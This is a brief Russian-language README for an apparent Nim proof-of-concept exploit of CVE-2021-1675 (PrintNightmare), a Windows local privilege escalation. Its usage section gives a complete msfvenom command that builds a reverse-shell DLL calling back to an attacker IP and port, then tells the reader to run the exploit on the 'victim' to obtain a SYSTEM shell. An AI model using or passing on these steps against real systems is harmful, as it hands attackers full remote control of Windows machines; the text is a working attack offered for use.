CVE-2021-1675 LPE PoC

не мой эксплойт! просто хотел поиграться с библиотекой winim на nim.

Использование

Сгенерируйте DLL-полезную нагрузку с помощью msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.8.237 LPORT=4444 -f dll > msfvenom.dll, затем запустите обработчик на вашей атакующей машине.

На жертве выполните .\nimnightmare.exe <ABSOLUTE_PATH_TO_DLL> и получите оболочку от имени SYSTEM.